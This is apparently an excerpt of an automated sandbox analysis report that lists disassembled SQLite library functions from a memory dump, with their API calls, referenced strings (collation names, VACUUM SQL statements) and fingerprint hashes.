Instruction ID: dadb85a3919e548a164012fc2e04d9b0ab11445217433cc10b515e99a95ed5c3
Opcode Fuzzy Hash: 5f7c6ccdcb237f7a487fb09799aacf08d073da1bf61c53431d7ccff799043987
Instruction Fuzzy Hash: 3681FA74A046098FCB44DF99C480A9DF7F7AFA8354F258529E855AB314EB34EC46CF90

Function 6096A38C Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED06
Part of subcall function 6095ECA6: sqlite3_prepare_v2.SQLITE3 ref: 6095ED8D
Part of subcall function 6095ECA6: sqlite3_free.SQLITE3 ref: 6095ED9B

sqlite3_bind_int.SQLITE3 ref: 6096A3DE

Part of subcall function 609256E5: sqlite3_bind_int64.SQLITE3 ref: 60925704

sqlite3_column_int.SQLITE3 ref: 6096A3F3
sqlite3_step.SQLITE3 ref: 6096A435
sqlite3_reset.SQLITE3 ref: 6096A445

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_bind_intsqlite3_bind_int64sqlite3_column_intsqlite3_freesqlite3_mprintfsqlite3_prepare_v2sqlite3_resetsqlite3_step
String ID:
API String ID: 247099642-0
Opcode ID: 64427881e425bd4a7d2fa305579facb0dd1ab8a71ce9f1271cd8f49c57a97bec
Instruction ID: 69535c0605dcb565d56369453fd68d3a3097adfd173720c6e67b3d4aca8354ad
Opcode Fuzzy Hash: 64427881e425bd4a7d2fa305579facb0dd1ab8a71ce9f1271cd8f49c57a97bec
Instruction Fuzzy Hash: FF2151B0A143148BEB109FA9D88479EB7FAEF64308F00852DE89597350EBB8D845CF51

Function 6096A2BD Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 6095ECA6: sqlite3_mprintf.SQLITE3 ref: 6095ED06
Part of subcall function 6095ECA6: sqlite3_prepare_v2.SQLITE3 ref: 6095ED8D
Part of subcall function 6095ECA6: sqlite3_free.SQLITE3 ref: 6095ED9B

sqlite3_bind_int64.SQLITE3 ref: 6096A322

Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3

sqlite3_step.SQLITE3 ref: 6096A32D
sqlite3_column_int.SQLITE3 ref: 6096A347

Part of subcall function 6091D4F4: sqlite3_value_int.SQLITE3 ref: 6091D50C

sqlite3_reset.SQLITE3 ref: 6096A354

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_bind_int64sqlite3_column_intsqlite3_freesqlite3_mprintfsqlite3_mutex_leavesqlite3_prepare_v2sqlite3_resetsqlite3_stepsqlite3_value_int
String ID:
API String ID: 326482775-0
Opcode ID: de94f0bba3b8b54078f1ceecce583a965f8e010bb36370f6070bcd8bc28ee8b0
Instruction ID: 7c1586c82cd56d85cf32929a5cd575737867df940847ca2bf63216634e784e33
Opcode Fuzzy Hash: de94f0bba3b8b54078f1ceecce583a965f8e010bb36370f6070bcd8bc28ee8b0
Instruction Fuzzy Hash: 0E214DB0A043049BDB04DFA9C480B9EF7FAEFA8354F04C429E8959B340E778D8418B51

Function 6094B6ED Relevance: 4.5, APIs: 3, Instructions: 34COMMON

Download Yara Rule

APIs

sqlite3_bind_int64.SQLITE3 ref: 6094B71E

Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3

sqlite3_bind_int64.SQLITE3 ref: 6094B73C
sqlite3_step.SQLITE3 ref: 6094B74A

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_bind_int64$sqlite3_mutex_leavesqlite3_step
String ID:
API String ID: 3305529457-0
Opcode ID: dc92f9052f14c19b23696c87723feab2593fd922d888b89f432a916288e70c30
Instruction ID: cea3564161c85327b61b62d60446574847d05a2bcfebeda4641ea5396b37aa5a
Opcode Fuzzy Hash: dc92f9052f14c19b23696c87723feab2593fd922d888b89f432a916288e70c30
Instruction Fuzzy Hash: D401A8B45047049FCB00DF19D9C968ABBE5FF98354F158869FC888B305D374E8548BA6

Function 6090C1D6 Relevance: 3.0, APIs: 2, Instructions: 39COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 6090C1EA
sqlite3_mutex_leave.SQLITE3 ref: 6090C22F

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave
String ID:
API String ID: 1477753154-0
Opcode ID: 8c595cf50166d2d57a1b46d7a61a8743a20f226779b5cb212a2500e19f50b056
Instruction ID: fc120f7ed3300d8301d0f99cb769197b575d5683181bd6b289e4b53452841bc5
Opcode Fuzzy Hash: 8c595cf50166d2d57a1b46d7a61a8743a20f226779b5cb212a2500e19f50b056
Instruction Fuzzy Hash: 6501F4715042548BDB449F2EC4C576EBBEAEF65318F048469DD419B326D374D882CBA1

Function 609255D4 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 6092535E: sqlite3_log.SQLITE3 ref: 60925406

sqlite3_mutex_leave.SQLITE3 ref: 609255B2

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_logsqlite3_mutex_leave
String ID:
API String ID: 1465156292-0
Opcode ID: 61f2b65abbb078f396bfa931b2809e4962fa985140118a0fa907d432528e7d54
Instruction ID: 19c4c58ecb434a21204d9b38047e93a23a7f28015e8477a734fda6841bb58fe8
Opcode Fuzzy Hash: 61f2b65abbb078f396bfa931b2809e4962fa985140118a0fa907d432528e7d54
Instruction Fuzzy Hash: 56317AB4A082188FCB04DF69D880A8EBBF6FF99314F008559FC5897348D734D940CBA5

Function 609254B1 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 6092535E: sqlite3_log.SQLITE3 ref: 60925406

sqlite3_mutex_leave.SQLITE3 ref: 60925508

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_logsqlite3_mutex_leave
String ID:
API String ID: 1465156292-0
Opcode ID: 7f15987c0945e0fd4273a36fcce91cc0d916abb620506d2e7fdad6d0c82ef640
Instruction ID: ad89f0bb34aa7175efe61e1ac22fb0c12735e6005c3b9edbf096fd229bca234b
Opcode Fuzzy Hash: 7f15987c0945e0fd4273a36fcce91cc0d916abb620506d2e7fdad6d0c82ef640
Instruction Fuzzy Hash: 5A01A475B107148BCB109F2ACC8164BBBFAEF68254F05991AEC41DB315D775ED458BC0

Function 60925686 Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

Part of subcall function 6092535E: sqlite3_log.SQLITE3 ref: 60925406

sqlite3_mutex_leave.SQLITE3 ref: 609256D3

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_logsqlite3_mutex_leave
String ID:
API String ID: 1465156292-0
Opcode ID: ebbe32869a67294cb2d54c108597a832b3743d43329dcf341f64f2493053d601
Instruction ID: 4fd0dfe8dd6226820e052206e0db6187a6d8a97f2116fb4a305c2fd2856f8961
Opcode Fuzzy Hash: ebbe32869a67294cb2d54c108597a832b3743d43329dcf341f64f2493053d601
Instruction Fuzzy Hash: 94F08CB5A002099BCB00DF2AD88088ABBBAFF98264B05952AEC049B314D770E941CBD0

Function 60925655 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 6092535E: sqlite3_log.SQLITE3 ref: 60925406

sqlite3_mutex_leave.SQLITE3 ref: 60925678

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_logsqlite3_mutex_leave
String ID:
API String ID: 1465156292-0
Opcode ID: 20ce1548f611e36a3668a48b9975394e1a388ab84833d9cb320a678b216caf11
Instruction ID: bc2fa39936d9f4ed0ba1ebf98b65e017ff83ed2bbf5e058a49948814e7f33c49
Opcode Fuzzy Hash: 20ce1548f611e36a3668a48b9975394e1a388ab84833d9cb320a678b216caf11
Instruction Fuzzy Hash: 59E0EC74A042089BCB04DF6AD4C194AB7F9EF58258B14D665EC458B309E231E9858BC1

Function 609256E5 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

sqlite3_bind_int64.SQLITE3 ref: 60925704

Part of subcall function 60925686: sqlite3_mutex_leave.SQLITE3 ref: 609256D3

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_bind_int64sqlite3_mutex_leave
String ID:
API String ID: 3064317574-0
Opcode ID: 8bfbb127be37b3944cf6aee767a60d103abce584902525ba566a621f413e0d82
Instruction ID: 7a9bf9350bb0d435b7485bd9c083abc2dab3a9c90cc7cce47300d03dda88f0d0
Opcode Fuzzy Hash: 8bfbb127be37b3944cf6aee767a60d103abce584902525ba566a621f413e0d82
Instruction Fuzzy Hash: FFD092B4909309AFCB00EF29C48644EBBE5AF98258F40C82DFC98C7314E274E8408F92

Function 609255FF Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c5aa561fe8b7943dde2a358ba30c2c8876ef78bddd50c77f68009583e67d90a
Instruction ID: 29002ccca7877ead4b7e7e784383ace88c03f26ddf616943a2b43c0eb71ea2e3
Opcode Fuzzy Hash: 5c5aa561fe8b7943dde2a358ba30c2c8876ef78bddd50c77f68009583e67d90a
Instruction Fuzzy Hash: 36E0E2B850430DABDF00CF09D8C188A7BAAFB08364F10C119FC190B305C371E9548BA1

Function 6092562A Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c82c79c3d673ce5d83164ffe7b594e49b00bd73c00824d0aa5044480003c1f0d
Instruction ID: a276b763828cd9d21177d39229c24ef0f5c00ef14d0f26540801fec71d9d5410
Opcode Fuzzy Hash: c82c79c3d673ce5d83164ffe7b594e49b00bd73c00824d0aa5044480003c1f0d
Instruction Fuzzy Hash: 29E0E2B850430DABDF00CF09D8C198A7BAAFB08264F10C119FC190B304C331E9148BE1

Function 6090F435 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3c407e99ff1326d716251d27052f3514f6d3ace0f30ccd24b81610f61b1d9b8
Instruction ID: aa639d4c52eda77921d109c173628d401b16d57fa3137d2b917a91732d8775c8
Opcode Fuzzy Hash: d3c407e99ff1326d716251d27052f3514f6d3ace0f30ccd24b81610f61b1d9b8
Instruction Fuzzy Hash: D7C01265704208574B00E92DE8C154577AA9718164B108039E80B87301D975ED084291

Function 6096C598 Relevance: 51.2, APIs: 22, Strings: 7, Instructions: 417COMMON

Download Yara Rule

APIs

sqlite3_initialize.SQLITE3 ref: 6096C5BE

Part of subcall function 60912453: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5,?), ref: 609124D1

sqlite3_log.SQLITE3 ref: 6096C5FC
sqlite3_free.SQLITE3 ref: 6096C67E
sqlite3_free.SQLITE3 ref: 6096CD71
sqlite3_mutex_leave.SQLITE3 ref: 6096CD80
sqlite3_errcode.SQLITE3 ref: 6096CD88
sqlite3_close.SQLITE3 ref: 6096CD97
sqlite3_create_function.SQLITE3 ref: 6096CDF8

Strings

NOCASE, xrefs: 6096C817
rtree, xrefs: 6096CCF8
RTRIM, xrefs: 6096C7CA
rtree_i32, xrefs: 6096CD1E
porter, xrefs: 6096CACA
BINARY, xrefs: 6096C752, 6096C77A, 6096C7A2, 6096C7E7
simple, xrefs: 6096CAAC

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_free$sqlite3_closesqlite3_create_functionsqlite3_errcodesqlite3_initializesqlite3_logsqlite3_mutex_entersqlite3_mutex_leave
String ID: BINARY$NOCASE$RTRIM$porter$rtree$rtree_i32$simple
API String ID: 1320758876-2501389569
Opcode ID: 6bfcb0ec024900a9d9b4e92c8a495cd7f0e11888819caa106d9e2d842adf35f2
Instruction ID: 66f98c4e8467cc0752991b2fada45a5d6d89a43a55ba94f1559c09c68fc79e30
Opcode Fuzzy Hash: 6bfcb0ec024900a9d9b4e92c8a495cd7f0e11888819caa106d9e2d842adf35f2
Instruction Fuzzy Hash: 7A024BB05183019BEB119F64C49536ABFF6BFA1348F11882DE8959F386D7B9C845CF82

Function 6092642A Relevance: 33.4, APIs: 14, Strings: 5, Instructions: 184COMMON

Download Yara Rule

APIs

sqlite3_free.SQLITE3 ref: 609264C9
sqlite3_free.SQLITE3 ref: 60926526
sqlite3_free.SQLITE3 ref: 6092652E
sqlite3_free.SQLITE3 ref: 60926550

Part of subcall function 60901C61: sqlite3_mutex_enter.SQLITE3 ref: 60901C80

Part of subcall function 6090AFF5: sqlite3_free.SQLITE3 ref: 6090B09A

sqlite3_free.SQLITE3 ref: 60926626
sqlite3_win32_mbcs_to_utf8.SQLITE3 ref: 6092662E
sqlite3_free.SQLITE3 ref: 60926638
sqlite3_snprintf.SQLITE3 ref: 6092666B
sqlite3_free.SQLITE3 ref: 60926673
sqlite3_snprintf.SQLITE3 ref: 609266B8

Strings

winFullPathname1, xrefs: 609264DE
winFullPathname4, xrefs: 6092660B
winFullPathname3, xrefs: 609265A1
winFullPathname2, xrefs: 60926543
\, xrefs: 6092668B

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: sqlite3_free$sqlite3_snprintf$sqlite3_mutex_entersqlite3_win32_mbcs_to_utf8
String ID: \$winFullPathname1$winFullPathname2$winFullPathname3$winFullPathname4
API String ID: 937752868-2111127023
Opcode ID: 76700054f020c8d7fe753577c30eef17e659d67ca67044e42639e839992701d7
Instruction ID: 28f04709130b2e8b140c84fcd32bad5e17fba194e1ccee1aab8ced89c5ccf9cf
Opcode Fuzzy Hash: 76700054f020c8d7fe753577c30eef17e659d67ca67044e42639e839992701d7
Instruction Fuzzy Hash: EA712E706183058FE700AF69D88465DBFF6AFA5748F00C82DE8999B314E778C845DF92

Function 6092A6C1 Relevance: 30.1, APIs: 14, Strings: 3, Instructions: 352COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 6092A712
sqlite3_malloc.SQLITE3 ref: 6092A738
memcmp.MSVCRT ref: 6092A7A9
sqlite3_mprintf.SQLITE3 ref: 6092A7C7
memcmp.MSVCRT ref: 6092A96E
memcmp.MSVCRT ref: 6092A998
memcmp.MSVCRT ref: 6092A9C6
memcmp.MSVCRT ref: 6092AA18
sqlite3_mprintf.SQLITE3 ref: 6092AA48
sqlite3_mprintf.SQLITE3 ref: 6092AA73
sqlite3_malloc.SQLITE3 ref: 6092AAB4
sqlite3_vfs_find.SQLITE3 ref: 6092AAE5
sqlite3_mprintf.SQLITE3 ref: 6092AB02
sqlite3_free.SQLITE3 ref: 6092AB17

Strings

cache, xrefs: 6092A991, 6092AB3D
access, xrefs: 6092A9E6
@, xrefs: 6092A6E0

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538915857.000000006096F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538950149.000000006097B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538981779.000000006097D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2539013272.0000000060980000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_60900000_videominimizer2.jbxd

Similarity

API ID: memcmp$sqlite3_mprintf$sqlite3_malloc$sqlite3_freesqlite3_vfs_find
String ID: @$access$cache
API String ID: 4158134138-1361544076
Opcode ID: 19065094f7a61ae5fa0f118773a69bd69932ab9bc71fb499c0e2e31449818374
Instruction ID: 35071b2ec389daa84eb338d99e29a1052eb2425681bc363379ff67fe3f9a0dd7
Opcode Fuzzy Hash: 19065094f7a61ae5fa0f118773a69bd69932ab9bc71fb499c0e2e31449818374
Instruction Fuzzy Hash: 27D19E75D183458BDB11CF69E58039EBBF7AFAA304F20846ED4949B349D339D882CB52

Function 6094844A Relevance: 24.9, APIs: 3, Strings: 11, Instructions: 374COMMON

Download Yara Rule

APIs

sqlite3_log.SQLITE3 ref: 609498F5

Strings

BEGIN;, xrefs: 609485DB
SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %', xrefs: 60948708
SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence' , xrefs: 60948748
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';, xrefs: 60948768
PRAGMA vacuum_db.synchronous=OFF, xrefs: 609485BB
SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0, xrefs: 609486C8
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0, xrefs: 60948728
ATTACH ':memory:' AS vacuum_db;, xrefs: 60948534
SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %' , xrefs: 609486E8
ATTACH '' AS vacuum_db;, xrefs: 60948529
INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0), xrefs: 60948788

Memory Dump Source

Source File: 0000000F.00000002.2538809884.0000000060901000.00000020.00000001.01000000.0000000C.sdmp, Offset: 60900000, based on PE: true

Associated: 0000000F.00000002.2538774586.0000000060900000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.2538884000.000000006096E000.00000008.00000001.01000000.0000000C.sdmpDownload File
